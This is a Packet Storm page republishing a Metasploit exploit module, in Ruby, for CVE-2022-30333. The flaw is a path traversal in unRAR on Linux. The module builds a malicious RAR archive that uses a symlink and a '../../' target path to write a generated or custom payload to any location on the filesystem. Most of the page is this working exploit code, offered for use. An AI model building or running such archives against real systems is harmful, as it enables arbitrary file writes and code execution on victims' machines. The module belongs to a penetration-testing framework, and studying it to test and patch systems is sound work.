exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

UnRAR Path Traversal

UnRAR Path Traversal
Posted Sep 12, 2024
Authored by Ron Bowes, Simon Scannell | Site metasploit.com

This Metasploit module creates a RAR file that exploits CVE-2022-30333, which is a path-traversal vulnerability in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. UnRAR fixed this vulnerability in version 6.12 (open source version 6.1.7). The core issue is that when a symbolic link is unRARed, Windows symbolic links are not properly validated on Linux systems and can therefore write a symbolic link that points anywhere on the filesystem. If a second file in the archive has the same name, it will be written to the symbolic link path.

tags | exploit, arbitrary
systems | linux, windows
advisories | CVE-2022-30333
SHA-256 | 2df85540ffe31bd6abf8706295866ebd1d381d12c36e4680836b772ead8e9445

UnRAR Path Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Format::RarSymlinkPathTraversal

def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that exploits CVE-2022-30333, which is a
path-traversal vulnerability in unRAR that can extract an arbitrary file
to an arbitrary location on a Linux system. UnRAR fixed this
vulnerability in version 6.12 (open source version 6.1.7).

The core issue is that when a symbolic link is unRAR'ed, Windows
symbolic links are not properly validated on Linux systems and can
therefore write a symbolic link that points anywhere on the filesystem.
If a second file in the archive has the same name, it will be written
to the symbolic link path.
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Generic RAR file', {} ]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => []
}
)
)

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
OptString.new('CUSTOM_PAYLOAD', [ false, 'A custom payload to encode' ]),
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../" - as well as a filename).']),
OptString.new('SYMLINK_FILENAME', [ true, 'The name of the symlink file to use (must be 12 characters or less; default: random)', Rex::Text.rand_text_alpha_lower(4..12)])
]
)
end

def exploit
print_status("Target filename: #{datastore['TARGET_PATH']}")

if datastore['CUSTOM_PAYLOAD'].present?
print_status("Encoding custom payload file: #{datastore['CUSTOM_PAYLOAD']}")
payload_data = File.binread(datastore['CUSTOM_PAYLOAD'])

# Append a newline + NUL byte, since random data will be appended and we
# don't want to break shellscripts
payload_data.concat("\n\0")
else
print_status('Encoding configured payload')
payload_data = generate_payload_exe
end

begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'], datastore['TARGET_PATH'], payload_data)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end

file_create(rar)
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close